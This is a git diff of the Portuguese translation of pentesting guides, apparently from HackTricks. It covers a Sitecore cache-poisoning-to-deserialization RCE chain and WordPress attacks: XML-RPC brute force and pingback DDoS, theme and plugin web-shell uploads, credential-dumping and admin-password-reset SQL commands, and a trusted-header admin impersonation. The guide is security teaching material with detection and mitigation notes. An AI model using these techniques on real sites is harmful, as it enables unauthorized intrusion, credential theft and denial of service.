Sitecore.Web.UI.WebControl (uma classe Sitecore), que passa a lista de permissão ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos em Sitecore WebControl. +Observação chave: a página XAML inclui uma instância XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (uma classe do Sitecore), que aplica a allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos em Sitecore WebControl. Método mágico para poisoning: ```csharp @@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` -Como podemos direcionar xmlcontrol:GlobalHeader e chamar métodos de Sitecore.Web.UI.WebControl pelo nome, obtemos uma primitiva de escrita arbitrária do HtmlCache pre-auth. +Porque podemos direcionar xmlcontrol:GlobalHeader e chamar métodos de Sitecore.Web.UI.WebControl pelo nome, obtemos um pre‑auth arbitrary HtmlCache write primitive. ### PoC request (CVE-2025-53693) ``` @@ -66,9 +66,9 @@ Notas: - __SOURCE é o clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comumente estável como ctl00_ctl00_ctl05_ctl03 pois é derivado de XAML estático). - __PARAMETERS tem o formato Method("arg1","arg2"). -## O que envenenar: construção da chave de cache +## O que envenenar: Cache key construction -Construção típica da chave HtmlCache usada pelos controles do Sitecore: +Construção típica da HtmlCache key usada pelos controles do Sitecore: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; @@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` -Listar itens e flags cacheáveis: +Listar itens cacheáveis e flags: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` -Procure por campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Os nomes de dispositivos podem ser enumerados via: +Procure por campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Os nomes dos dispositivos podem ser enumerados via: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) -Mesmo quando o ItemService se faz passar por uma conta limitada (por exemplo, ServicesAPI) e retorna um array Results vazio, o TotalCount pode ainda refletir Solr hits pré‑ACL. É possível brute‑force item groups/ids com wildcards e observar o TotalCount convergir para mapear conteúdo e dispositivos internos: +Mesmo quando ItemService se faz passar por uma conta com permissões limitadas (p.ex., ServicesAPI) e retorna um array Results vazio, TotalCount ainda pode refletir pre‑ACL Solr hits. Você pode brute‑force item groups/ids com wildcards e observar o TotalCount convergir para mapear conteúdo e dispositivos internos: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 @@ -131,14 +131,14 @@ Sink: byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` -Alcançável via a etapa do pipeline convertToRuntimeHtml ConvertWebControls, que procura por um elemento com id {iframeId}_inner e decodifica base64 + desserializa o conteúdo, então injeta a string resultante no HTML: +Acessível via a etapa do pipeline convertToRuntimeHtml ConvertWebControls, que procura um elemento com id {iframeId}_inner e base64 decodes + deserializes it, depois injeta a string resultante no HTML: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` -Acionar (autenticado, direitos de Content Editor). O diálogo FixHtml chama convertToRuntimeHtml. Fluxo ponta a ponta sem cliques na UI: +Gatilho (autenticado, direitos de Content Editor). O diálogo FixHtml chama convertToRuntimeHtml. Fim a fim sem cliques na UI: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx @@ -159,7 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // 4) Visit FixHtml to trigger ConvertWebControls → deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -Geração de gadgets: use ysoserial.net / YSoNet com BinaryFormatter para produzir um payload base64 que retorna uma string. O conteúdo da string é escrito no HTML pelo ConvertWebControls após os efeitos colaterais da desserialização serem executados. +Geração de gadget: use ysoserial.net / YSoNet com BinaryFormatter para produzir um payload base64 que retorna uma string. O conteúdo da string é escrito no HTML por ConvertWebControls após os deserialization side‑effects serem executados. {{#ref}} @@ -168,24 +168,24 @@ Geração de gadgets: use ysoserial.net / YSoNet com BinaryFormatter para produz ## Cadeia completa -1) Pre‑auth atacante envenena HtmlCache com HTML arbitrário por invocação reflexiva de WebControl.AddToCache via XAML AjaxScriptManager. -2) O HTML envenenado entrega JavaScript que conduz um usuário Content Editor autenticado pelo fluxo FixHtml. -3) A página FixHtml aciona convertToRuntimeHtml → ConvertWebControls, que desserializa base64 controlado pelo atacante via BinaryFormatter → RCE sob a identidade do app pool do Sitecore. +1) Atacante pre‑auth envenena o HtmlCache com HTML arbitrário ao invocar reflectively WebControl.AddToCache via XAML AjaxScriptManager. +2) O HTML envenenado serve JavaScript que convence um usuário Content Editor autenticado a seguir o fluxo FixHtml. +3) A página FixHtml aciona convertToRuntimeHtml → ConvertWebControls, que deserializes base64 controlado pelo atacante via BinaryFormatter → RCE sob a identidade do app pool do Sitecore. ## Detecção -- Pre‑auth XAML: solicitações para `/-/xaml/Sitecore.Shell.Xaml.WebControl` com `__ISEVENT=1`, `__SOURCE` suspeito e `__PARAMETERS=AddToCache(...)`. -- Sondagem do ItemService: picos de consultas curinga a `/sitecore/api/ssc`, grande `TotalCount` com `Results` vazios. -- Tentativas de desserialização: `EditHtml.aspx` seguido de `FixHtml.aspx?hdl=...` e base64 incomumente grande em campos HTML. +- XAML pre‑auth: solicitações para `/-/xaml/Sitecore.Shell.Xaml.WebControl` com `__ISEVENT=1`, `__SOURCE` suspeito e `__PARAMETERS=AddToCache(...)`. +- Sondagem do ItemService: picos de consultas wildcard para `/sitecore/api/ssc`, `TotalCount` elevado com `Results` vazios. +- Tentativas de deserialization: `EditHtml.aspx` seguido por `FixHtml.aspx?hdl=...` e base64 incomumente grande em campos HTML. -## Mitigações +## Mitigação -- Aplique os patches Sitecore KB1003667 e KB1003734; restrinja/desative handlers XAML pre‑auth ou adicione validação estrita; monitore e limite a taxa de `/-/xaml/`. -- Remova/substitua o BinaryFormatter; restrinja acesso a convertToRuntimeHtml ou imponha validação forte no servidor para os fluxos de edição de HTML. -- Proteja `/sitecore/api/ssc` para loopback ou funções autenticadas; evite padrões de impersonation que provoquem leak de side channels baseados em `TotalCount`. -- Aplique MFA/princípio do menor privilégio para usuários Content Editor; revise CSP para reduzir o impacto do JS steering proveniente de cache poisoning. +- Aplique os patches Sitecore KB1003667 e KB1003734; bloqueie/desative os handlers XAML pre‑auth ou adicione validação rígida; monitore e rate‑limit `/-/xaml/`. +- Remova/substitua BinaryFormatter; restrinja o acesso a convertToRuntimeHtml ou imponha validação forte no servidor nos fluxos de edição HTML. +- Restrinja `/sitecore/api/ssc` ao loopback ou a roles autenticados; evite padrões de impersonation que leak canais laterais baseados em `TotalCount`. +- Aplique MFA/least privilege para usuários Content Editor; revise o CSP para reduzir o impacto do JS steering vindo de cache poisoning. -## References +## Referências - [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) - [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 0783cac63..4bda13eb4 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,14 +5,14 @@ ## Informações Básicas - **Arquivos enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Os arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **theme twentytwelve** você pode **access** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - No **wp-config.php** você pode encontrar a senha root do banco de dados. - Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Principais arquivos do WordPress** +### **Principais Arquivos do WordPress** - `index.php` - `license.txt` contém informações úteis, como a versão do WordPress instalada. @@ -22,29 +22,29 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos usando HTTP como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pelo WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados. - `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados. - `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets. -- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis. +- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias consultáveis publicamente. -**Post exploitation** +**Pós-exploração** -- O arquivo `wp-config.php` contém informações necessárias ao WordPress para conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas. +- O arquivo `wp-config.php` contém informações necessárias pelo WordPress para conectar-se ao banco de dados, como nome do banco, host, usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas. ### Permissões de Usuários -- **Administrador** -- **Editor**: Publica e gerencia suas próprias postagens e as de outros -- **Autor**: Publica e gerencia suas próprias postagens -- **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las -- **Assinante**: Navega pelas postagens e edita seu perfil +- **Administrator** +- **Editor**: Publica e gerencia seus e outros posts +- **Author**: Publica e gerencia seus próprios posts +- **Contributor**: Escreve e gerencia seus posts, mas não pode publicá-los +- **Subscriber**: Visualiza posts e edita seu perfil -## **Passive Enumeration** +## **Enumeração Passiva** ### **Obter versão do WordPress** -Verifique se você consegue encontrar os arquivos `/license.txt` ou `/readme.html` +Verifique se consegue encontrar os arquivos `/license.txt` ou `/readme.html` Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): @@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Arquivos de link CSS +- arquivos de link CSS ![](<../../images/image (533).png>) -- Arquivos JavaScript +- arquivos JavaScript ![](<../../images/image (524).png>) @@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins e Temas -Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins e Temas** (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas). +Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins e Temas** (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas). ### Usuários -- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing os IDs de usuários: +- **ID Brute:** Você obtém usuários válidos de um site WordPress por Brute Forcing os IDs de usuário: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -99,15 +99,15 @@ Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuário ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm este recurso habilitado serão fornecidas**. +Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm este recurso ativado serão fornecidas**. -Também observe que **/wp-json/wp/v2/pages** could leak endereços IP. +Também note que **/wp-json/wp/v2/pages** pode leak endereços IP. -- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** dependendo se o **username existe ou não**. +- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente**, indicando se o **username** existe ou não. ### XML-RPC -Se `xml-rpc.php` estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +Se `xml-rpc.php` estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS contra outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição: @@ -122,7 +122,7 @@ Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requ **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar algum deles, pode enviar algo como: +**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar qualquer um deles, pode enviar algo como: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requ ``` -A mensagem _"Incorrect username or password"_ dentro de uma resposta com código 200 deve aparecer se as credentials não estiverem válidas. +A mensagem _"Incorrect username or password"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Usando as credentials corretas você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Usando as credenciais corretas você pode enviar um arquivo. Na resposta o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic **Bypass 2FA** -Este método foi feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas creds contornando a 2FA**. Note que você não conseguirá executar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Este método é feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tem credenciais válidas mas a entrada principal está protegida por 2FA, **você pode conseguir abusar do xmlrpc.php para fazer login com essas credenciais contornando a 2FA**. Note que você não conseguirá executar todas as ações que pode fazer através do console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS ou port scanning** +**DDoS or port scanning** If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -This can be used to ask **milhares** de Wordpress **sites** to **acessar** um único **local** (causando um **DDoS** nesse local) ou você pode usá-lo para fazer o **Wordpress** **scan** alguma **rede** interna (você pode indicar qualquer porta). +This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). ```html pingback.ping @@ -191,7 +191,7 @@ This can be used to ask **milhares** de Wordpress **sites** to **acessar** um ú ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Se você obtiver **faultCode** com um valor **maior do que** **0** (17), isso significa que a porta está aberta. +Se você obter **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta. Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS. @@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus ### wp-cron.php DoS -Este arquivo geralmente existe na raiz do site WordPress: **`/wp-cron.php`**\ -Quando este arquivo é **acessado**, uma consulta MySQL **"pesada"** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\ -Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do WordPress), o que em sites de alto tráfego pode causar problemas (DoS). +Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\ +Quando este arquivo é **acessado** uma consulta MySQL **"pesada"** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\ +Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS). Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas). ### /wp-json/oembed/1.0/proxy - SSRF -Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site WordPress pode fazer uma requisição para você. +Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Worpress pode fazer uma requisição para você. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Esta ferramenta verifica se o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy** existem; se existirem, tenta explorá-los. +Esta ferramenta verifica se existe **methodName: pingback.ping** e o path **/wp-json/oembed/1.0/proxy** e, se existir, tenta explorá-los. ## Ferramentas Automáticas ```bash @@ -240,26 +240,26 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Obter acesso sobrescrevendo um bit -Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Então você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para tornar NOP a operação NOT (`!`). +Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para fazer NOP na operação NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **Painel RCE** +## **Panel RCE** -**Modificando um php do tema usado (credenciais admin necessárias)** +**Modifying a php from the theme used (admin credentials needed)** -Aparência → Editor de Tema → Template 404 (à direita) +Appearance → Theme Editor → 404 Template (à direita) -Substitua o conteúdo por um shell php: +Change the content for a php shell: ![](<../../images/image (384).png>) -Procure na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -Você pode usar: +You can use: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -269,7 +269,7 @@ para obter uma sessão. ### PHP plugin -It may be possible to upload .php files as a plugin.\ +Pode ser possível fazer upload de arquivos .php como um plugin.\ Crie seu php backdoor usando por exemplo: ![](<../../images/image (183).png>) @@ -286,70 +286,70 @@ Click on Procced: ![](<../../images/image (70).png>) -Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: +Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell enviado: ![](<../../images/image (462).png>) -Access it and you will see the URL to execute the reverse shell: +Acesse-o e você verá a URL para executar o reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: +Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma: -1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**aqui**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB como [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`. - Faça upload do arquivo zip do plugin baixado. -3. **Plugin Activation**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do dashboard. +3. **Plugin Activation**: Uma vez que o plugin seja instalado com sucesso, ele deve ser ativado através do dashboard. 4. **Exploitation**: -- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. -- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. -- It's noted that this is just one of the many methods to exploit a WordPress site. +- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável. +- O Metasploit framework fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site. +- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress. -O conteúdo inclui ilustrações que mostram os passos no dashboard do WordPress para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Estas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita. +O conteúdo inclui auxílios visuais que descrevem os passos no WordPress dashboard para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como testes de penetração (pentesting) com permissão explícita. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** -- _**Privilege Escalation:**_ Cria um usuário no WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu custom plugin (backdoor) para o WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress. -- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress. -- _**(Custom) Custom Exploits:**_ Custom Exploits para plugins/themes de terceiros do WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações ver [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- _**Privilege Escalation:**_ Cria um user no WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faça upload do seu custom plugin (backdoor) para o WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Edita plugins Built-In no WordPress. +- _**(RCE) Built-In Theme Edit:**_ Edita temas Built-In no WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits para Third-Party WordPress Plugins/Themes. ## Post Exploitation -Extrair nomes de usuário e senhas: +Extrair usernames e passwords: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Alterar password do admin: +Alterar a senha do administrador: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest -### Attack Surface +### Superfície de Ataque -Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos itens abaixo e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos pontos a seguir e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Uma das formas pelas quais um plugin pode expor funções para os usuários é via AJAX handlers. Estes podem conter bugs de lógica, authorization, ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu role). +Uma das formas pelas quais um plugin pode expor funções aos usuários é via handlers AJAX. Esses handlers podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância Wordpress pode ter** (independentemente do seu papel). Estas são as funções que podem ser usadas para expor uma função em um plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**O uso de `nopriv` torna o endpoint acessível por quaisquer users (mesmo os não autenticados).** +**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (até mesmo não autenticados).** > [!CAUTION] -> Além disso, se a função estiver apenas verificando a autorização do user com a função `wp_verify_nonce`, essa função está apenas verificando se o user está loggedin; ela normalmente não verifica o role do user. Portanto users com baixo privilégio podem ter acesso a ações de alto privilégio. +> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica se o usuário está logado; normalmente ela não verifica o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de alto privilégio. - **REST API** @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API. +The `permission_callback` é uma callback para função que verifica se um dado usuário está autorizado a chamar o método da API. -**Se a função integrada `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.** +**Se a função built-in `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.** - **Acesso direto ao arquivo php** -Claro que o Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja disparada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário. +Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Então, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela será explorável por qualquer usuário. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e acessar rotas REST privilegiadas como administrador. +Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver vinculado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e atingir rotas REST privilegiadas como administrador. -- Impact: escalada de privilégio não autenticada para admin ao criar um novo administrator via a rota REST core users. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). -- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. +- Impacto: 